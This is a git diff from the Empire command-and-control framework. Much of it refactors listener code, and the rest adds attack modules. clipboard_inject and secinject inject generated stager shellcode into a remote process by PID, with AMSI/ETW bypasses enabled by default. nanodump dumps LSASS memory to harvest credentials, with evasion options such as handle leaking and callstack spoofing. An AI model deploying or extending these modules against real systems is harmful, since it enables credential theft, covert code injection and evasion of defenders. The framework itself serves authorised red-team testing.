b/empire/server/data/module_source/bof/tgtdelegation/tgtdelegation.x86.o new file mode 100644 index 000000000..9e0ade709 Binary files /dev/null and b/empire/server/data/module_source/bof/tgtdelegation/tgtdelegation.x86.o differ diff --git a/empire/server/listeners/dbx.py b/empire/server/listeners/dbx.py index 9983b0716..9f2bed7dc 100755 --- a/empire/server/listeners/dbx.py +++ b/empire/server/listeners/dbx.py @@ -172,7 +172,7 @@ def generate_launcher( language=None, safeChecks="", listenerName=None, - bypasses: list[str] = None, + bypasses: list[str] | None = None, ): """ Generate a basic launcher for the specified listener. @@ -301,7 +301,7 @@ def generate_launcher( if safeChecks.lower() == "true": launcherBase += listener_util.python_safe_checks() except Exception as e: - p = f"Error setting LittleSnitch in stager: {str(e)}" + p = f"Error setting LittleSnitch in stager: {e!s}" log.error(p) if userAgent.lower() == "default": @@ -553,11 +553,11 @@ def generate_agent( elif language == "python": if version == "ironpython": - f = open(self.mainMenu.installPath + "/data/agent/ironpython_agent.py") + f = self.mainMenu.installPath + "/data/agent/ironpython_agent.py" else: - f = open(self.mainMenu.installPath + "/data/agent/agent.py") - code = f.read() - f.close() + f = self.mainMenu.installPath + "/data/agent/agent.py" + with open(f) as f: + code = f.read() # strip out comments and blank lines code = helpers.strip_python_comments(code) @@ -1023,6 +1023,7 @@ def start(self): """ listenerOptions = self.options self.thread = helpers.KThread(target=self.start_server, args=(listenerOptions,)) + self.thread.daemon = True self.thread.start() time.sleep(3) # returns True if the listener successfully started, false otherwise diff --git a/empire/server/listeners/http.py b/empire/server/listeners/http.py index 5d32f885a..b33527eef 100755 --- a/empire/server/listeners/http.py +++ b/empire/server/listeners/http.py @@ -185,7 +185,8 @@ def default_response(self): """ Returns an IIS 7.5 404 not found page. """ - return open(f"{self.template_dir }/default.html").read() + with open(f"{self.template_dir}/default.html") as f: + return f.read() def validate_options(self) -> tuple[bool, str | None]: """ @@ -220,7 +221,7 @@ def generate_launcher( language=None, safeChecks="", listenerName=None, - bypasses: list[str] = None, + bypasses: list[str] | None = None, ): """ Generate a basic launcher for the specified listener. @@ -313,12 +314,11 @@ def generate_launcher( listenerOptions = copy.deepcopy(listenerOptions) bindIP = listenerOptions["BindIP"]["Value"] port = listenerOptions["Port"]["Value"] - if ":" in bindIP: - if "http" in host: - if "https" in host: - host = "https://" + "[" + str(bindIP) + "]" + ":" + str(port) - else: - host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port) + if ":" in bindIP and "http" in host: + if "https" in host: + host = "https://" + "[" + str(bindIP) + "]" + ":" + str(port) + else: + host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port) # code to turn the key string into a byte array stager += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');" @@ -394,7 +394,7 @@ def generate_launcher( if safeChecks.lower() == "true": launcherBase += listener_util.python_safe_checks() except Exception as e: - p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}" + p = f"{listenerName}: Error setting LittleSnitch in stager: {e!s}" log.error(p) if userAgent.lower() == "default": @@ -510,7 +510,7 @@ def generate_launcher( ) compiler = self.mainMenu.pluginsv2.get_by_id("csharpserver") - if not compiler.status == "ON": + if compiler.status != "ON": self.instance_log.error( f"{listenerName} csharpserver plugin not running" ) @@ -712,11 +712,11 @@ def generate_agent( elif language == "python": if version == "ironpython": - f = open(self.mainMenu.installPath + "/data/agent/ironpython_agent.py") + f = self.mainMenu.installPath + "/data/agent/ironpython_agent.py" else: - f = open(self.mainMenu.installPath + "/data/agent/agent.py") - code = f.read() - f.close() + f = self.mainMenu.installPath + "/data/agent/agent.py" + with open(f) as f: + code = f.read() # strip out comments and blank lines code = helpers.strip_python_comments(code) @@ -847,7 +847,7 @@ def send_stager(stager, hop=None): obfuscation = obfuscation_config.enabled obfuscation_command = obfuscation_config.command - if "powershell" == stager: + if stager == "powershell": launcher = self.mainMenu.stagers.generate_launcher( listenerName=hop or listenerName, language="powershell", @@ -860,7 +860,7 @@ def send_stager(stager, hop=None): ) return launcher - elif "python" == stager: + elif stager == "python": launcher = self.mainMenu.stagers.generate_launcher( listenerName=hop or listenerName, language="python", @@ -873,7 +873,7 @@ def send_stager(stager, hop=None): ) return launcher - elif "ironpython" == stager: + elif stager == "ironpython": if hop: options = copy.deepcopy(self.options) options["Listener"] = {} @@ -899,7 +899,7 @@ def send_stager(stager, hop=None): code = f.read() return code - elif "csharp" == stager: + elif stager == "csharp": filename = self.mainMenu.stagers.generate_launcher( listenerName=hop or listenerName, language="csharp", @@ -1224,9 +1224,9 @@ def handle_post(request_uri): # support any version of tls pyversion = sys.version_info - if pyversion[0] == 2 and pyversion[1] == 7 and pyversion[2] >= 13: - proto = ssl.PROTOCOL_TLS - elif pyversion[0] >= 3: + if (pyversion[0] == 2 and pyversion[1] == 7 and pyversion[2] >= 13) or ( + pyversion[0] >= 3 + ): proto = ssl.PROTOCOL_TLS else: proto = ssl.PROTOCOL_SSLv23 @@ -1258,6 +1258,7 @@ def start(self): """ listenerOptions = self.options self.thread = helpers.KThread(target=self.start_server, args=(listenerOptions,)) + self.thread.daemon = True self.thread.start() time.sleep(1) # returns True if the listener successfully started, false otherwise diff --git a/empire/server/listeners/http_com.py b/empire/server/listeners/http_com.py index ed3c72a22..fbbd21e64 100755 --- a/empire/server/listeners/http_com.py +++ b/empire/server/listeners/http_com.py @@ -162,7 +162,8 @@ def default_response(self): """ Returns an IIS 7.5 404 not found page. """ - return open(f"{self.template_dir }/default.html").read() + with open(f"{self.template_dir}/default.html") as f: + return f.read() def validate_options(self) -> tuple[bool, str | None]: """ @@ -197,7 +198,7 @@ def generate_launcher( language=None, safeChecks="", listenerName=None, - bypasses: list[str] = None, + bypasses: list[str] | None = None, ): """ Generate a basic launcher for the specified listener. @@ -238,12 +239,11 @@ def generate_launcher( listenerOptions = copy.deepcopy(listenerOptions) bindIP = listenerOptions["BindIP"]["Value"] port = listenerOptions["Port"]["Value"] - if ":" in bindIP: - if "http" in host: - if "https" in host: - host = "https://" + "[" + str(bindIP) + "]" + ":" + str(port) - else: - host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port) + if ":" in bindIP and "http" in host: + if "https" in host: + host = "https://" + "[" + str(bindIP) + "]" + ":" + str(port) + else: + host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port) # code to turn the key string into a byte array stager += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');" @@ -448,9 +448,8 @@ def generate_agent( b64DefaultResponse = base64.b64encode(self.default_response().encode("UTF-8")) if language == "powershell": - f = open(self.mainMenu.installPath + "/data/agent/agent.ps1") - code = f.read() - f.close() + with open(self.mainMenu.installPath + "/data/agent/agent.ps1") as f: + code = f.read() # strip out comments and blank lines code = helpers.strip_powershell_comments(code) @@ -552,7 +551,7 @@ def send_stager(stager): obfuscation = obfuscation_config.enabled obfuscation_command = obfuscation_config.command - if "powershell" == stager: + if stager == "powershell": launcher = self.mainMenu.stagers.generate_launcher( listenerName=listenerName, language="powershell", @@ -821,9 +820,9 @@ def handle_post(request_uri): # support any version of tls pyversion = sys.version_info - if pyversion[0] == 2 and pyversion[1] == 7 and pyversion[2] >= 13: - proto = ssl.PROTOCOL_TLS - elif pyversion[0] >= 3: + if (pyversion[0] == 2 and pyversion[1] == 7 and pyversion[2] >= 13) or ( + pyversion[0] >= 3 + ): proto = ssl.PROTOCOL_TLS else: proto = ssl.PROTOCOL_SSLv23 @@ -856,6 +855,7 @@ def start(self): """ listenerOptions = self.options self.thread = helpers.KThread(target=self.start_server, args=(listenerOptions,)) + self.thread.daemon = True self.thread.start() time.sleep(1) # returns True if the listener successfully started, false otherwise diff --git a/empire/server/listeners/http_foreign.py b/empire/server/listeners/http_foreign.py index 21b87a6b0..2bb70ece6 100755 --- a/empire/server/listeners/http_foreign.py +++ b/empire/server/listeners/http_foreign.py @@ -164,7 +164,7 @@ def generate_launcher( language=None, safeChecks="", listenerName=None, - bypasses: list[str] = None, + bypasses: list[str] | None = None, ): """ Generate a basic launcher for the specified listener. @@ -297,7 +297,7 @@ def generate_launcher( if safeChecks.lower() == "true": launcherBase += listener_util.python_safe_checks() except Exception as e: - p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}" + p = f"{listenerName}: Error setting LittleSnitch in stager: {e!s}" log.error(p, exc_info=True) if userAgent.lower() == "default": diff --git a/empire/server/listeners/http_hop.py b/empire/server/listeners/http_hop.py index 446660df4..446de29db 100755 --- a/empire/server/listeners/http_hop.py +++ b/empire/server/listeners/http_hop.py @@ -117,7 +117,7 @@ def generate_launcher( language=None, safeChecks="", listenerName=None, - bypasses: list[str] = None, + bypasses: list[str] | None = None, ): """ Generate a basic launcher for the specified listener. @@ -250,7 +250,7 @@ def generate_launcher( if safeChecks.lower() == "true": launcherBase += listener_util.python_safe_checks() except Exception as e: - p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}" + p = f"{listenerName}: Error setting LittleSnitch in stager: {e!s}" log.error(p) if userAgent.lower() == "default": diff --git a/empire/server/listeners/http_malleable.py b/empire/server/listeners/http_malleable.py index f30aeef78..e93ecd759 100644 --- a/empire/server/listeners/http_malleable.py +++ b/empire/server/listeners/http_malleable.py @@ -160,7 +160,8 @@ def default_response(self): """ Returns an IIS 7.5 404 not found page. """ - return open(f"{self.template_dir }/default.html").read() + with open(f"{self.template_dir}/default.html") as f: + return f.read() def validate_options(self) -> tuple[bool, str | None]: """ @@ -262,7 +263,7 @@ def generate_launcher( safeChecks="", listenerName=None, stager=None, - bypasses: list[str] = None, + bypasses: list[str] | None = None, ): """ Generate a basic launcher for the specified listener. @@ -792,11 +793,11 @@ def generate_agent( elif language == "python": # read in the agent base if version == "ironpython": - f = open(self.mainMenu.installPath + "/data/agent/ironpython_agent.py") + f = self.mainMenu.installPath + "/data/agent/ironpython_agent.py" else: - f = open(self.mainMenu.installPath + "/data/agent/agent.py") - code = f.read() - f.close() + f = self.mainMenu.installPath + "/data/agent/agent.py" + with open(f) as f: + code = f.read() # strip out comments and blank lines code = helpers.strip_python_comments(code) @@ -1091,14 +1092,14 @@ def post_message(self, uri, data): def send_results_for_child(self, received_data): self.headers['Cookie'] = "session=%s" % (received_data[1:]) - taskUri = random.sample({str(profile.post.client.uris)}, 1)[0] + taskUri = random.sample({profile.post.client.uris!s}, 1)[0] requestUri = self.server + taskURI response = (urllib.request.urlopen(urllib.request.Request(requestUri, None, self.headers))).read() return response def send_get_tasking_for_child(self, received_data): decoded_data = base64.b64decode(received_data[1:].encode('UTF-8')) - taskUri = random.sample({str(profile.post.client.uris)}, 1)[0] + taskUri = random.sample({profile.post.client.uris!s}, 1)[0] requestUri = self.server + taskURI response = (urllib.request.urlopen(urllib.request.Request(requestUri, decoded_data, self.headers))).read() return response @@ -1708,7 +1709,7 @@ def handle_request(request_uri="", tempListenerOptions=None): ) else: # log error parsing routing packet - message = f"{listenerName} Error parsing routing packet from {clientIP}: {str(agentInfo)}." + message = f"{listenerName} Error parsing routing packet from {clientIP}: {agentInfo!s}." self.instance_log.error(message) log.error(message) @@ -1723,7 +1724,7 @@ def handle_request(request_uri="", tempListenerOptions=None): except malleable.MalleableError as e: # probably an issue with the malleable library, please report it :) - message = f"{listenerName}: Malleable had trouble handling a request for /{request_uri} by {clientIP}: {str(e)}." + message = f"{listenerName}: Malleable had trouble handling a request for /{request_uri} by {clientIP}: {e!s}." self.instance_log.error(message, exc_info=True) log.error(message, exc_info=True) @@ -1740,9 +1741,9 @@ def handle_request(request_uri="", tempListenerOptions=None): pyversion = sys.version_info # support any version of tls - if pyversion[0] == 2 and pyversion[1] == 7 and pyversion[2] >= 13: - proto = ssl.PROTOCOL_TLS - elif pyversion[0] >= 3: + if (pyversion[0] == 2 and pyversion[1] == 7 and pyversion[2] >= 13) or ( + pyversion[0] >= 3 + ): proto = ssl.PROTOCOL_TLS else: proto = ssl.PROTOCOL_SSLv23 @@ -1760,7 +1761,7 @@ def handle_request(request_uri="", tempListenerOptions=None): else: app.run(host=bindIP, port=int(port), threaded=True) except Exception as e: - message = f"Listener startup on port {port} failed - {e.__class__.__name__}: {str(e)}" + message = f"Listener startup on port {port} failed - {e.__class__.__name__}: {e!s}" self.instance_log.error(message, exc_info=True) log.error(message, exc_info=True) @@ -1774,6 +1775,7 @@ def start(self): ) listenerOptions = self.options self.thread = helpers.KThread(target=self.start_server, args=(listenerOptions,)) + self.thread.daemon = True self.thread.start() time.sleep(1) # returns True if the listener successfully started, false otherwise diff --git a/empire/server/listeners/onedrive.py b/empire/server/listeners/onedrive.py index efc02d680..57325fc5e 100755 --- a/empire/server/listeners/onedrive.py +++ b/empire/server/listeners/onedrive.py @@ -202,7 +202,7 @@ def generate_launcher( language=None, safeChecks="", listenerName=None, - bypasses: list[str] = None, + bypasses: list[str] | None = None, ): bypasses = [] if bypasses is None else bypasses @@ -441,9 +441,8 @@ def generate_agent( b64_default_response = base64.b64encode(self.default_response().encode("UTF-8")) if language == "powershell": - f = open(self.mainMenu.installPath + "/data/agent/agent.ps1") - agent_code = f.read() - f.close() + with open(self.mainMenu.installPath + "/data/agent/agent.ps1") as f: + agent_code = f.read() agent_code = helpers.strip_powershell_comments(agent_code) @@ -544,7 +543,7 @@ def setup_folders(): raise ValueError("Could not set up folders, access token invalid") base_object = s.get(f"{base_url}/drive/root:/{base_folder}") - if not (base_object.status_code == 200): + if base_object.status_code != 200: self.instance_log.info( f"{listener_name}: Creating {base_folder} folder" ) @@ -563,7 +562,7 @@ def setup_folders(): for item in [staging_folder, taskings_folder, results_folder]: item_object = s.get(f"{base_url}/drive/root:/{base_folder}/{item}") - if not (item_object.status_code == 200): + if item_object.status_code != 200: self.instance_log.info( f"{listener_name}: Creating {base_folder}/{item} folder" ) @@ -739,7 +738,7 @@ def upload_stager(): lang, return_val = self.mainMenu.agents.handle_agent_data( staging_key, content, listener_options )[0] - message = f"{listener_name}: Uploading {base_folder}/{staging_folder}/{agent_name}_2.txt, {str(len(return_val))} bytes" + message = f"{listener_name}: Uploading {base_folder}/{staging_folder}/{agent_name}_2.txt, {len(return_val)!s} bytes" self.instance_log.info(message) s.put( "{}/drive/root:/{}/{}/{}_2.txt:/content".format( @@ -783,7 +782,7 @@ def upload_stager(): session_key, agent_code ) - message = f"{listener_name}: Uploading {base_folder}/{staging_folder}/{agent_name}_4.txt, {str(len(enc_code))} bytes" + message = f"{listener_name}: Uploading {base_folder}/{staging_folder}/{agent_name}_4.txt, {len(enc_code)!s} bytes" self.instance_log.info(message) s.put( "{}/drive/root:/{}/{}/{}_4.txt:/content".format( @@ -819,7 +818,7 @@ def upload_stager(): ): # If there's already something there, download and append the new data task_data = r.content + task_data - message = f"{listener_name}: Uploading agent tasks for {agent_id}, {str(len(task_data))} bytes" + message = f"{listener_name}: Uploading agent tasks for {agent_id}, {len(task_data)!s} bytes" self.instance_log.info(message) r = s.put( @@ -892,6 +891,7 @@ def start(self): """ listenerOptions = self.options self.thread = helpers.KThread(target=self.start_server, args=(listenerOptions,)) + self.thread.daemon = True self.thread.start() time.sleep(3) # returns True if the listener successfully started, false otherwise diff --git a/empire/server/listeners/port_forward_pivot.py b/empire/server/listeners/port_forward_pivot.py index d1cfe280c..62fae41a0 100755 --- a/empire/server/listeners/port_forward_pivot.py +++ b/empire/server/listeners/port_forward_pivot.py @@ -93,7 +93,7 @@ def generate_launcher( language=None, safeChecks="", listenerName=None, - bypasses: list[str] = None, + bypasses: list[str] | None = None, ): """ Generate a basic launcher for the specified listener. @@ -179,12 +179,11 @@ def generate_launcher( listenerOptions = copy.deepcopy(listenerOptions) bindIP = listenerOptions["BindIP"]["Value"] port = listenerOptions["Port"]["Value"] - if ":" in bindIP: - if "http" in host: - if "https" in host: - host = "https://" + "[" + str(bindIP) + "]" + ":" + str(port) - else: - host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port) + if ":" in bindIP and "http" in host: + if "https" in host: + host = "https://" + "[" + str(bindIP) + "]" + ":" + str(port) + else: + host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port) # code to turn the key string into a byte array stager += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ stagingKey }');" @@ -259,7 +258,7 @@ def generate_launcher( if safeChecks.lower() == "true": launcherBase += listener_util.python_safe_checks() except Exception as e: - p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}" + p = f"{listenerName}: Error setting LittleSnitch in stager: {e!s}" log.error(p, exc_info=True) if userAgent.lower() == "default": @@ -381,7 +380,7 @@ def generate_launcher( ) compiler = self.mainMenu.pluginsv2.get_by_id("csharpserver") - if not compiler.status == "ON": + if compiler.status != "ON": self.instance_log.error( f"{listenerName} csharpserver plugin not running" ) @@ -584,11 +583,11 @@ def generate_agent( elif language == "python": if version == "ironpython": - f = open(self.mainMenu.installPath + "/data/agent/ironpython_agent.py") + f = self.mainMenu.installPath + "/data/agent/ironpython_agent.py" else: - f = open(self.mainMenu.installPath + "/data/agent/agent.py") - code = f.read() - f.close() + f = self.mainMenu.installPath + "/data/agent/agent.py" + with open(f) as f: + code = f.read() # strip out comments and blank lines code = helpers.strip_python_comments(code) @@ -805,7 +804,7 @@ def start(self): ) script += " -FirewallName %s" % (session_id) - for option in self.options.keys(): + for option in self.options: if option.lower() == "host": if self.options[option]["Value"].startswith( "https://" diff --git a/empire/server/listeners/smb.py b/empire/server/listeners/smb.py index d49b8b8fa..afa07e808 100755 --- a/empire/server/listeners/smb.py +++ b/empire/server/listeners/smb.py @@ -85,7 +85,7 @@ def generate_launcher( language=None, safeChecks="", listenerName=None, - bypasses: list[str] = None, + bypasses: list[str] | None = None, ): """ Generate a basic launcher for the specified listener. @@ -123,7 +123,7 @@ def generate_launcher( if safeChecks.lower() == "true": launcherBase += listener_util.python_safe_checks() except Exception as e: - p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}" + p = f"{listenerName}: Error setting LittleSnitch in stager: {e!s}" log.error(p, exc_info=True) if userAgent.lower() == "default": diff --git a/empire/server/listeners/template.py b/empire/server/listeners/template.py index 7b654beb5..ac53460e4 100644 --- a/empire/server/listeners/template.py +++ b/empire/server/listeners/template.py @@ -176,7 +176,7 @@ def generate_launcher( language=None, safeChecks="", listenerName=None, - bypasses: list[str] = None, + bypasses: list[str] | None = None, ): """ Generate a basic launcher for the specified listener. @@ -317,6 +317,7 @@ def start(self): """ listenerOptions = self.options self.thread = helpers.KThread(target=self.start_server, args=(listenerOptions,)) + self.thread.daemon = True self.thread.start() time.sleep(1) # returns True if the listener successfully started, false otherwise diff --git a/empire/server/modules/bof/clipboard_inject.py b/empire/server/modules/bof/clipboard_inject.py new file mode 100644 index 000000000..38fdee771 --- /dev/null +++ b/empire/server/modules/bof/clipboard_inject.py @@ -0,0 +1,50 @@ +import base64 + +from empire.server.common.empire import MainMenu +from empire.server.core.module_models import EmpireModule + + +class Module: + @staticmethod + def generate( + main_menu: MainMenu, + module: EmpireModule, + params: dict, + obfuscate: bool = False, + obfuscation_command: str = "", + ): + params["Architecture"] = "x64" + script_file, script_end = main_menu.modulesv2.generate_bof_data( + module=module, params=params, obfuscate=obfuscate + ) + + # staging options + listener_name = params["Listener"] + pid = params["pid"] + user_agent = params["UserAgent"] + proxy = params["Proxy"] + proxy_creds = params["ProxyCreds"] + launcher_obfuscation_command = params["ObfuscateCommand"] + language = params["Language"] + launcher_obfuscation = params["Obfuscate"] + + launcher = main_menu.stagers.generate_launcher( + listener_name, + language=language, + encode=False, + obfuscate=launcher_obfuscation, + obfuscation_command=launcher_obfuscation_command, + userAgent=user_agent, + proxy=proxy, + proxyCreds=proxy_creds, + ) + + script_end += f" -i:{pid}" + + shellcode, err = main_menu.stagers.generate_powershell_shellcode( + launcher, arch="x64", dot_net_version="net40" + ) + shellcode = base64.b64encode(shellcode).decode("utf-8") + script_end += f" -b:{shellcode}" + + return f"{script_file}|{script_end}" diff --git a/empire/server/modules/bof/clipboard_inject.yaml b/empire/server/modules/bof/clipboard_inject.yaml new file mode 100644 index 000000000..64071846e --- /dev/null +++ b/empire/server/modules/bof/clipboard_inject.yaml @@ -0,0 +1,76 @@ +name: ClipboardWindow-Inject +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: Beacon Object File (BOF) that injects beacon shellcode into remote process, avoiding the usage of common + monitored APIs using the CLIPBRDWNDCLASS injection technique (similar to Propagate) learned from Hexacorn. +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/BronzeTicket/ClipboardWindow-Inject +options: + - name: pid + description: Specify the process id. + required: true + value: '' + - name: Listener + description: Listener to use. + required: true + value: '' + - name: Language + description: Language of the stager to generate + required: true + value: powershell + strict: true + suggested_values: + - powershell + - csharp + - ironpython + - name: Obfuscate + description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand + for obfuscation types. For powershell only. + required: false + value: 'False' + strict: true + suggested_values: + - True + - False + - name: ObfuscateCommand + description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch + is True. For powershell only. + required: false + value: Token\All\1 + - name: Bypasses + description: Bypasses as a space separated list to be prepended to the launcher. + required: false + value: 'mattifestation etw' + - name: UserAgent + description: User-agent string to use for the staging request (default, none, or + other). + required: false + value: default + - name: Proxy + description: Proxy to use for request (default, none, or other). + required: false + value: default + - name: ProxyCreds + description: Proxy credentials ([domain\]username:password) to use for request (default, + none, or other). + required: false + value: default +bof: + x86: '' + x64: bof/ClipboardWindow/ClipboardWindow-Inject.x64.o + entry_point: '' +script_path: '' +script_end: '' +advanced: + custom_generate: true diff --git a/empire/server/modules/bof/nanodump.py b/empire/server/modules/bof/nanodump.py new file mode 100644 index 000000000..30d635115 --- /dev/null +++ b/empire/server/modules/bof/nanodump.py @@ -0,0 +1,84 @@ +from empire.server.common.empire import MainMenu +from empire.server.core.module_models import EmpireModule + + +class Module: + @staticmethod + def generate( + main_menu: MainMenu, + module: EmpireModule, + params: dict, + obfuscate: bool = False, + obfuscation_command: str = "", + ): + params["Architecture"] = "x64" + script_file, script_end = main_menu.modulesv2.generate_bof_data( + module=module, params=params, obfuscate=obfuscate + ) + + for name in params: + value = params[name] + if name == "write": + if value != "": + dump_path = value + write_file = "1" + else: + dump_path = "find_me.dmp" + write_file = "0" + + if name == "valid": + use_valid_sig = "1" if value == "true" else "0" + + if name == "fork": + fork = "1" if value == "true" else "0" + + if name == "snapshot": + snapshot = "1" if value == "true" else "0" + + if name == "duplicate": + dup = "1" if value == "true" else "0" + + if name == "elevate-handle": + elevate_handle = "1" if value == "true" else "0" + + if name == "duplicate-elevate": + duplicate_elevate = value if value == "true" else "0" + + if name == "getpid": + if value == "true": + pid = "1" + get_pid = "1" + else: + pid = "0" + get_pid = "0" + + if name == "seclogon-leak-local": + use_seclogon_leak_local = "1" if value == "true" else "0" + + if name == "seclogon-leak-remote": + if value == "true": + use_seclogon_leak_remote = "1" + seclogon_leak_remote_binary = "0" + else: + use_seclogon_leak_remote = "0" + seclogon_leak_remote_binary = "" + + if name == "seclogon-duplicate": + use_seclogon_duplicate = "1" if value == "true" else "0" + + if name == "spoof-callstack": + spoof_callstack = "1" if value == "true" else "0" + + if name == "silent-process-exit": + if value != "": + silent_process_exit = "" + use_silent_process_exit = "1" + else: + silent_process_exit = "" + use_silent_process_exit = "0" + + if name == "shtinkering": + shtinkering = "1" if value == "true" else "0" + + script_end += f" -i:{pid} -z:{dump_path} -i:{write_file} -i:{use_valid_sig} -i:{fork} -i:{snapshot} -i:{dup} -i:{elevate_handle} -i:{duplicate_elevate} -i:{get_pid} -i:{use_seclogon_leak_local} -i:{use_seclogon_leak_remote} -z:{seclogon_leak_remote_binary} -i:{use_seclogon_duplicate} -i:{spoof_callstack} -i:{use_silent_process_exit} -z:{silent_process_exit} -i:{shtinkering}" + return f"{script_file}|{script_end}" diff --git a/empire/server/modules/bof/nanodump.yaml b/empire/server/modules/bof/nanodump.yaml new file mode 100644 index 000000000..413fd25a8 --- /dev/null +++ b/empire/server/modules/bof/nanodump.yaml @@ -0,0 +1,129 @@ +name: nanodump +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: A flexible tool that creates a minidump of the LSASS process. +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: true +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/fortra/nanodump +options: + - name: write + description: filename of the dump + required: false + value: 'C:\lsass.dmp' + - name: valid + description: create a dump with a valid signature + required: false + value: false + strict: true + suggested_values: + - true + - false + - name: duplicate + description: duplicate a high privileged existing LSASS handle + required: false + value: false + strict: true + suggested_values: + - true + - false + - name: duplicate-elevate + description: duplicate a low privileged existing LSASS handle and then elevate it + required: false + value: false + strict: true + suggested_values: + - true + - false + - name: seclogon-leak-local + description: leak an LSASS handle into nanodump via seclogon + required: false + value: false + strict: true + suggested_values: + - true + - false + - name: seclogon-leak-remote + description: leak an LSASS handle into another process via seclogon and duplicate it + required: false + value: '' + strict: false + - name: seclogon-duplicate + description: make seclogon open a handle to LSASS and duplicate it + required: false + value: false + strict: true + suggested_values: + - true + - false + - name: spoof-callstack + description: open a handle to LSASS using a fake calling stack + required: false + value: false + strict: true + suggested_values: + - true + - false + - name: silent-process-exit + description: force WerFault.exe to dump LSASS via SilentProcessExit + required: false + value: '' + strict: false + - name: shtinkering + description: force WerFault.exe to dump LSASS via Shtinkering + required: false + value: false + strict: true + suggested_values: + - true + - false + - name: fork + description: fork the target process before dumping + required: false + value: false + strict: true + suggested_values: + - true + - false + - name: snapshot + description: snapshot the target process before dumping + required: false + value: false + strict: true + suggested_values: + - true + - false + - name: elevate-handle + description: open a handle to LSASS with low privileges and duplicate it to gain higher privileges + required: false + value: false + strict: true + suggested_values: + - true + - false + - name: getpid + description: print the PID of LSASS and leave + required: false + value: false + strict: true + suggested_values: + - true + - false + format: i +bof: + x86: bof/nanodump/nanodump.x86.o + x64: bof/nanodump/nanodump.x64.oo + entry_point: '' +script_path: '' +script_end: '' +advanced: + custom_generate: true \ No newline at end of file diff --git a/empire/server/modules/bof/secinject.py b/empire/server/modules/bof/secinject.py new file mode 100644 index 000000000..38fdee771 --- /dev/null +++ b/empire/server/modules/bof/secinject.py @@ -0,0 +1,50 @@ +import base64 + +from empire.server.common.empire import MainMenu +from empire.server.core.module_models import EmpireModule + + +class Module: + @staticmethod + def generate( + main_menu: MainMenu, + module: EmpireModule, + params: dict, + obfuscate: bool = False, + obfuscation_command: str = "", + ): + params["Architecture"] = "x64" + script_file, script_end = main_menu.modulesv2.generate_bof_data( + module=module, params=params, obfuscate=obfuscate + ) + + # staging options + listener_name = params["Listener"] + pid = params["pid"] + user_agent = params["UserAgent"] + proxy = params["Proxy"] + proxy_creds = params["ProxyCreds"] + launcher_obfuscation_command = params["ObfuscateCommand"] + language = params["Language"] + launcher_obfuscation = params["Obfuscate"] + + launcher = main_menu.stagers.generate_launcher( + listener_name, + language=language, + encode=False, + obfuscate=launcher_obfuscation, + obfuscation_command=launcher_obfuscation_command, + userAgent=user_agent, + proxy=proxy, + proxyCreds=proxy_creds, + ) + + script_end += f" -i:{pid}" + + shellcode, err = main_menu.stagers.generate_powershell_shellcode( + launcher, arch="x64", dot_net_version="net40" + ) + shellcode = base64.b64encode(shellcode).decode("utf-8") + script_end += f" -b:{shellcode}" + + return f"{script_file}|{script_end}" diff --git a/empire/server/modules/bof/secinject.yaml b/empire/server/modules/bof/secinject.yaml new file mode 100644 index 000000000..d7aaadc1a --- /dev/null +++ b/empire/server/modules/bof/secinject.yaml @@ -0,0 +1,75 @@ +name: secinject +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: Section Mapping Process Injection (secinject) +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/apokryptein/secinject +options: + - name: pid + description: Specify the process id. + required: true + value: '' + - name: Listener + description: Listener to use. + required: true + value: '' + - name: Language + description: Language of the stager to generate + required: true + value: powershell + strict: true + suggested_values: + - powershell + - csharp + - ironpython + - name: Obfuscate + description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand + for obfuscation types. For powershell only. + required: false + value: 'False' + strict: true + suggested_values: + - True + - False + - name: ObfuscateCommand + description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch + is True. For powershell only. + required: false + value: Token\All\1 + - name: Bypasses + description: Bypasses as a space separated list to be prepended to the launcher. + required: false + value: 'mattifestation etw' + - name: UserAgent + description: User-agent string to use for the staging request (default, none, or + other). + required: false + value: default + - name: Proxy + description: Proxy to use for request (default, none, or other). + required: false + value: default + - name: ProxyCreds + description: Proxy credentials ([domain\]username:password) to use for request (default, + none, or other). + required: false + value: default +bof: + x86: '' + x64: bof/secinject/secinject.x64.o + entry_point: '' +script_path: '' +script_end: '' +advanced: + custom_generate: true diff --git a/empire/server/modules/bof/situational_awareness/adcs_enum.yaml b/empire/server/modules/bof/situational_awareness/adcs_enum.yaml new file mode 100644 index 000000000..1952bcfe8 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/adcs_enum.yaml @@ -0,0 +1,32 @@ +name: adcs_enum +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: Enumerate CAs and templates in the AD using Win32 functions. +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 +bof: + x86: bof/situational_awareness/adcs_enum/adcs_enum.x86.o + 